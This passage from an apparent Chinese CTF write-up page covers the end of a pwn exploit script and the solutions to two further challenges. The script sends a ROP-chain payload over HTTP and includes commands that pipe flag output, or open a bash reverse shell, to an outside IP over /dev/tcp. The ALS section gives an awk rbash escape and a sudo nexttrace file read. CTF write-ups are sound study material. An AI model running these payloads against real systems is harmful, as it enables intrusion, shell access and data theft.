&gt; /tmp/1;sh /tmp/1;#&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># cmd = br&#34;&#34;&#34;printf &#39;/bin/bash -c &#34;exec bash -i \x26&gt;/dev/tcp/123.57.212.189/54321 &lt;\x261&#34;&#39; &gt; /tmp/1;sh /tmp/1;#&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">    cmd = <span class="code-snippet__string">br&#34;&#34;&#34;printf &#39;/bin/bash -c &#34;exec /readflag &gt; /dev/tcp/123.57.212.189/54321 &#34;&#39; &gt; /tmp/1;sh /tmp/1;#&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># cmd = b&#34;&#34;&#34;id &gt; /tmp/123;#&#34;&#34;&#34;</span></span></code><code><span class="code-snippet_outer">    payload += ropchain <span class="code-snippet__comment"># ret addr</span></span></code><code><span class="code-snippet_outer">    payload += cmd</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">assert</span> <span class="code-snippet__string">b&#34;\n&#34;</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">in</span> ropchain</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">assert</span> len(payload) &lt; <span class="code-snippet__number">250</span> - <span class="code-snippet__number">14</span></span></code><code><span class="code-snippet_outer">    raw_payload = padding + payload</span></code><code><span class="code-snippet_outer">    buffer =  <span class="code-snippet__string">b&#34;POST /index.html HTTP/1.1\r\n&#34;</span></span></code><code><span class="code-snippet_outer">    buffer += <span class="code-snippet__string">b&#34;\r\n&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># buffer =  buffer.ljust(0x1000, b&#39;a&#39;)</span></span></code><code><span class="code-snippet_outer">    buffer += raw_payload</span></code><code><span class="code-snippet_outer">    buffer += <span class="code-snippet__string">b&#34;\r\n&#34;</span></span></code><code><span class="code-snippet_outer">    buffer += raw_payload <span class="code-snippet__comment"># last line</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">#print(hexdump(buffer))</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">assert</span> len(buffer) &lt;= <span class="code-snippet__number">0x1000</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">assert</span> <span class="code-snippet__string">b&#39;\x00&#39;</span> <span class="code-snippet__keyword">not</span> <span class="code-snippet__keyword">in</span> payload</span></code><code><span class="code-snippet_outer">    io.send(buffer)</span></code><code><span class="code-snippet_outer">    sleep(<span class="code-snippet__number">0.01</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># options = b&#34;x&#34; * 0x1000</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># io.send(options)</span></span></code><code><span class="code-snippet_outer">addrs = leak()</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># print(retrieve_file(&#34;/proc/39/maps&#34;))</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># pause()</span></span></code><code><span class="code-snippet_outer">overflow(addrs)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#for stack_offset in range(0x10000, 0x20000):</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#    try:</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#        overflow(addrs, stack_offset)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#    except Exception as e:</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#        pass</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;lrx7i8ad5pve0f8fqyd&#39;,&#39;ind&#39;:{&#39;left&#39;:0}},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJscng3aThhZDVwdmUwZjhmcXlkJTIyJTJDJTIyaW5kJTIyJTNBJTdCJTIybGVmdCUyMiUzQTAlN0QlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJQUyUzQSUyMCVFOSU5OSU4NCVFNCVCQiVCNiVFNiU4RiU5MCVFNCVCRSU5QiVFNCVCQSU4NiVFNSU5MCVBRiVFNSU4QSVBOCVFOCU4NCU5QSVFNiU5QyVBQ2xhdW5jaGVyLnB5JUU2JTlEJUE1JUU3JUExJUFFJUU0JUJGJTlEJUU2JTlDJUFDJUU1JTlDJUIwJUU1JTkyJThDJUU4JUJGJTlDJUU3JUE4JThCJUU3JTlBJTg0JUU1JTg2JTg1JUU1JUFEJTk4JUU1JTgxJThGJUU3JUE3JUJCJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><strong><span style="font-size: 15px;">PS: 附件提供了启动脚本launcher.py来确保本地和远程的内存偏移</span></strong></p><p><br/></p></article><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>12</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);text-align: center;"><strong><span style="text-align: left;">Be-an-Interpreter-Hacker</span></strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Pwn</span><span style="font-size: 15px;">,</span><span style="font-size: 15px;background-color: rgb(214, 214, 214);"> difficulty:Baby</span></p><p><br/></p><p><span style="font-size: 15px;">考察 Ghostscript CVE-2023-28879 的漏洞利用：</span></p><p><span style="font-size: 15px;">漏洞原理：<a href="https://offsec.almond.consulting/ghostscript-cve-2023-28879.html" target="_blank">https://offsec.almond.consulting/ghostscript-cve-2023-28879.html</a></span></p><p><span style="font-size: 15px;">利用 PoC：</span></p><p><span style="font-size: 15px;"><a href="https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce" target="_blank">https://github.com/AlmondOffSec/PoCs/tree/master/Ghostscript_rce</a></span></p></article><p style=""><br/></p><p style=""><br/></p><section data-role="title" data-tools="135编辑器" data-id="138191" style=""><section style="margin: 10px auto;display: flex;align-items: center;"><section style="flex-shrink: 0;display: flex;align-items: center;"><section style="padding-top: 4px;padding-bottom: 4px;"><section style="padding-right: 4px;padding-left: 4px;border-width: 1px;border-style: solid;border-color: rgb(215, 227, 188);"><section style="background-color: rgb(146, 208, 80);width: 2.2em;height: 2.2em;display: flex;justify-content: center;align-items: center;"><section style="font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><strong>13</strong></section></section></section></section><section style="padding-right: 10px;padding-left: 10px;color: rgb(146, 208, 80);"><strong>ALS</strong></section></section><section data-width="100%" style="width: 100%;border-top: 1px solid rgb(215, 227, 188);height: 1px;overflow: hidden;"><br/></section><section style="flex-shrink: 0;"><section style="width: 22px;height: 0px;overflow: hidden;"><br/></section></section></section></section><p style=""><br/></p><article data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;background-color: rgb(214, 214, 214);">Pwn</span><span style="font-size: 15px;">, </span><span style="font-size: 15px;background-color: rgb(214, 214, 214);">difficulty:Normal</span></p><p><br/></p><p><span style="font-size: 15px;">事情的起因是刘大爷上个月的时候发现的一个非常有趣的github项目。</span></p><p><span style="font-size: 15px;"><a href="https://github.com/wikihost-opensource/als" target="_blank">https://github.com/wikihost-opensource/als</a></span></p><p><span style="font-size: 15px;">这个项目在3周前经历了一次巨大的重构。这一次使用的是v1版本的代码。代码版本和仓库的链接可以通过直接读main.py的源代码得知。</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="217" data-backw="578" data-imgfileid="503903325" data-ratio="0.375" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=64a4d09e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4C00HdQkXPmJnpxskdV4QpWKaAhXib9oyFDc1svywHibh6mEWmsJpoPBXg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style=""><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 15px;">看首页可以看到。项目有提供一个shell。随便跑点命令就可以发现是一个受限的shell。阅读源码查看沙箱构建的方式和权限。</span><br/></p><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="45" data-backw="578" data-imgfileid="503903327" data-ratio="0.07777777777777778" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a395915b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CULPDAIbVEw6HJam9QEDV5TvIQfLwibGrvsicu7btHHdTVRFa9bVxvNww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls00unkm7ejw3skl38s&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;额只是一个降权的rbash。继续查看fakeroot的构建代码可以发现：&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAwdW5rbTdlanczc2tsMzhzJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU5JUEyJTlEJUU1JThGJUFBJUU2JTk4JUFGJUU0JUI4JTgwJUU0JUI4JUFBJUU5JTk5JThEJUU2JTlEJTgzJUU3JTlBJTg0cmJhc2glRTMlODAlODIlRTclQkIlQTclRTclQkIlQUQlRTYlOUYlQTUlRTclOUMlOEJmYWtlcm9vdCVFNyU5QSU4NCVFNiU5RSU4NCVFNSVCQiVCQSVFNCVCQiVBMyVFNyVBMCU4MSVFNSU4RiVBRiVFNCVCQiVBNSVFNSU4RiU5MSVFNyU4RSVCMCVFRiVCQyU5QSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">只是一个降权的rbash，继续查看fakeroot的构建代码可以发现：</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="248" data-backw="578" data-imgfileid="503903330" data-ratio="0.42978003384094754" data-s="300,640" data-type="png" data-w="591" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8966be5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4C6Rern1vAGBX5wZe63eVulALO2V2y1FPmmGHSUFu5D083dLjAInCiaOQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style=""><span style="font-size: 15px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);">导入了awk。那接下来就简单了，直接用awk逃rbash。</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">awk <span style="color: rgb(221, 17, 68);">&#39;BEGIN {system(\&#34;/bin/sh\&#34;)}&#39;</span></span></code><code><span class="code-snippet_outer">export PATH=<span style="color: rgb(202, 125, 55);">/usr/bin</span><span style="color: rgb(221, 17, 68);">:/bin</span><span style="color: rgb(221, 17, 68);">:/usr/local/bin/</span></span></code></pre></section><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls00yyoahfgjiqar9hv&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAweXlvYWhmZ2ppcWFyOWh2JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JThFJUE1JUU0JUI4JThCJUU2JTlEJUE1JUU2JTlGJUE1JUU3JTlDJThCZmxhZyVFNCVCRCU4RCVFNyVCRCVBRSVFMyU4MCU4MiVFNSU4RiU5MSVFNyU4RSVCMGZsYWclRTUlOUMlQTglMkZyb290JUU0JUI4JThCJUUzJTgwJTgyJUU1JUIxJTlFJUU0JUJBJThFcm9vdCVFNSVCOSVCNiVFNCVCOCU5NCVFNiU5RCU4MyVFOSU5OSU5MCVFNCVCOCVCQTAwMCVFMyU4MCU4MiVFNSU5QiVBMCVFNiVBRCVBNCVFNiU4RSVBNSVFNCVCOCU4QiVFNiU5RCVBNSVFNyU5QSU4NCVFNiVBRCVBNSVFOSVBQSVBNCVFNSVCMCVCMSVFNiU5OCVBRiVFNiU4RiU5MCVFNiU5RCU4MyVFMyU4MCU4MiVFNSU4NiU4RCVFNiVBQyVBMSVFNyVCRiVCQiVFNyU5QyU4QiVFNCVCQiVBMyVFNyVBMCU4MSVFNSVCMCVCMSVFNSU4RiVBRiVFNCVCQiVBNSVFNSU4RiU5MSVFNyU4RSVCMCVFMyU4MCU4MiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">接下来查看flag位置。发现flag在/root下。属于root并且权限为000。因此接下来的步骤就是提权。再次翻看代码就可以发现。</span></p><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="316" data-backw="578" data-imgfileid="503903331" data-ratio="0.5473684210526316" data-s="300,640" data-type="png" data-w="950" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d9ab4c11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CPesdISmCHbaicMxoSTy4mNgO63QfdLCWYSgcCwibBibQbibkjloyzWhNdQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls011u7ut9zeb27xsln&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;项目给了nexttrace sudo的权限可以以root执行。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls0127pis4y5z6x6jy7&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;接下来就是非预期的部分了。由于时间隔得比较久，加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace --file /root/flag即可&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAxMXU3dXQ5emViMjd4c2xuJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU5JUExJUI5JUU3JTlCJUFFJUU3JUJCJTk5JUU0JUJBJTg2bmV4dHRyYWNlJTIwc3VkbyVFNyU5QSU4NCVFNiU5RCU4MyVFOSU5OSU5MCVFNSU4RiVBRiVFNCVCQiVBNSVFNCVCQiVBNXJvb3QlRTYlODklQTclRTglQTElOEMlRTMlODAlODIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAxMjdwaXM0eTV6Nng2ank3JTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JThFJUE1JUU0JUI4JThCJUU2JTlEJUE1JUU1JUIwJUIxJUU2JTk4JUFGJUU5JTlEJTlFJUU5JUEyJTg0JUU2JTlDJTlGJUU3JTlBJTg0JUU5JTgzJUE4JUU1JTg4JTg2JUU0JUJBJTg2JUUzJTgwJTgyJUU3JTk0JUIxJUU0JUJBJThFJUU2JTk3JUI2JUU5JTk3JUI0JUU5JTlBJTk0JUU1JUJFJTk3JUU2JUFGJTk0JUU4JUJFJTgzJUU0JUI5JTg1JUVGJUJDJThDJUU1JThBJUEwJUU0JUI4JThBJUU5JTgzJUE4JUU3JUJEJUIyJUU4JUJGJTk5JUU0JUI4JUFBJUU5JUEyJTk4JUU3JTlCJUFFJUU3JTlBJTg0JUU2JTk3JUI2JUU1JTgwJTk5JUU1JUI3JUIyJUU3JUJCJThGJUU2JTk4JUFGJUU0JUJEJTkzJUU5JUFBJThDJUU4JUI1JTlCJUU1JUJDJTgwJUU4JUI1JTlCJUU1JTg5JThEJUU3JTlBJTg0JUU1JTg3JThDJUU2JTk5JUE4NCVFNyU4MiVCOSVFMyU4MCU4MiVFNSVBRSU5RSVFNSU5QyVBOCVFNiU5QyU4OSVFNyU4MiVCOSVFNyVBNSU5RSVFNSVCRiU5NyVFNCVCOCU4RCVFNiVCOCU4NSVFMyU4MCU4MiVFNSVCRiU5OCVFOCVBRSVCMCVFNCVCQSU4Nm5ldHJhY2UlRTUlOEYlQUYlRTQlQkIlQTUlRTclOUIlQjQlRTYlOEUlQTUlRTglQUYlQkIlRTUlOEYlOTYlRTYlOTYlODclRTQlQkIlQjYlRTUlODYlODUlRTUlQUUlQjklRTQlQkElODYlRTMlODAlODIlRTUlOUIlQTAlRTYlQUQlQTQlRTUlOEYlQUElRTklOUMlODAlRTglQTYlODFuZXh0dHJhY2UlMjAtLWZpbGUlMjAlMkZyb290JTJGZmxhZyVFNSU4RCVCMyVFNSU4RiVBRiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8"><p><span style="font-size: 15px;">项目给了nexttrace sudo的权限可以以root执行。</span></p><p><span style="font-size: 15px;">接下来就是非预期的部分了。由于时间隔得比较久，加上部署这个题目的时候已经是体验赛开赛前的凌晨4点。实在有点神志不清。忘记了netrace可以直接读取文件内容了。因此只需要nexttrace --file /root/flag即可</span></p></article><p style="text-align:center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="86" data-backw="578" data-imgfileid="503903333" data-ratio="0.14832089552238806" data-s="300,640" data-type="png" data-w="1072" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=767f050e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4C203ibpaN4e9jZq4XWySZueP9MiaRaTRw8ccZG8ibeVT28kKVDzKE806ibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></article><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls016ecmrm39yeostkf&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;接下来来说一说预期的。需要拿root shell才能解的做法：&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls0181gmjn20i0hewv&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护（虽然非预期了）。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls016vjxyv3jlj94kx&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls01b41pvoun6a0r2ph&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;第一个问题，查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询：&#39;]]]]" data-identifier-application__slash__x-doc-key="4j6OJQ9jydW7q3p8" style=""><p><span style="font-size: 15px;">接下来来说一说预期的。需要拿root shell才能解的做法：</span></p><p><span style="font-size: 15px;">首先发现nexttrace有-o参数可以指定输出结果到文件。但是再次研究发现-o不能指定写入的位置。只能写到/tmp/trace.log这个文件中。那么很容易就能想到应该用Symbolic Attack。 并且题目描述中也特意提到了关闭了Symbolic Attack保护（虽然非预期了）。</span></p><p><span style="font-size: 15px;">如此一来面临的问题就只有两个了。如何控制nexttrace输出的内容。以及写入哪个文件。</span></p><p><span style="font-size: 15px;">第一个问题，查看nexttrace源码和项目描述就可以看到。nexttrace支持从本地文件中读取ip信息数据库并进行查询：</span></p></article><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="98" data-backw="578" data-imgfileid="503903332" data-ratio="0.16912599318955732" data-s="300,640" data-type="png" data-w="881" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1dcc88be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4Cu3PW05G25WpNrdks73Fe3uR5jPGRQcLnEiavBLm1q6HwnhX2OMeuw6Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style=""><span style="font-size: 15px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);">因此只需要提供一个自定义的ip数据库。将ip所在地替换成我们需要的payload即可。查看源码可以看到。数据库来自一个名为ip2region的项目。</span><br/></p><p style=""><img class="rich_pages wxw-img js_insertlocalimg" data-backh="322" data-backw="578" data-imgfileid="503903334" data-ratio="0.5574074074074075" data-s="300,640" data-type="png" data-w="1080" style="width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c3d33f89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFOh11C4BDicS3QLhwld24xYnY5W2bDr4CUwpNejXe1EicMQVRnSWEPIrIr5AliaGGEnMJ9Mpd3mzJKW4mWQcysRlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><article data-clipboard-cangjie="[&#39;root&#39;,{},[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls01g3toadzeuc7t96j&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;当然值得注意的是。nexttrace使用的ip2region的作者和als的作者一样。已经把v1版本的的代码整个扬了。只能从release下载的文件里还能看到v1版本的代码。&#39;]]],[&#39;p&#39;,{&#39;uuid&#39;:&#39;ls01hz0sesfk5cqsvz&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;text&#39;},[&#39;span&#39;,{&#39;data-type&#39;:&#39;leaf&#39;},&#39;编写ip数据记录并生成数据库。&#39;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMnV1aWQlMjIlM0ElMjJsczAxZzN0b2FkemV1Yzd0OTZqJTIyJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU1JUJEJTkzJUU3JTg0JUI2JUU1JTgwJUJDJUU1JUJFJTk3JUU2JUIzJUE4JUU2JTg0JThGJUU3JTlBJTg0JUU2JTk4JUFGJUUzJTgwJTgybmV4dHRyYWNlJUU0JUJEJUJGJUU3JTk0JUE4JUU3JTlBJTg0aXAycmVnaW9uJUU3JTlBJTg0JUU0JUJEJTlDJUU4JTgwJTg1JUU1JTkyJThDYWxzJUU3JTlBJTg0JUU0JUJEJTlDJUU4JTgwJTg1JUU0JUI4JTgwJUU2JUEwJUI3JUUzJTgwJTgyJUU1JUI3JUIyJUU3JUJCJThGJUU2JThBJThBdjElRTclODklODglRTYlOUMlQUMlRTclOUElODQlRTclOUElODQlRTQlQkIlQTMlRTclQTAlODElRTYlOTUlQjQlRTQlQjglQUElRTYlODklQUMlRTQlQkElODYlRTMlODAlODIlRTUlOEYlQUElRTglODMlQkQlRTQlQkIlOEVyZWxlYXNlJUU0JUI4JThCJUU4JUJEJUJEJUU3JTlBJTg0JUU2JTk2JTg3JUU0JUJCJUI2JUU5JTg3JThDJUU4JUJGJTk4JUU4JTgzJUJEJUU3JTlDJThCJUU1JTg4JUIwdjElRTclODklODglRTYlOUMlQUMlRTclOUElODQlRTQlQkIlQTMlRTclQTAlODElRTMlODAlODIlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIy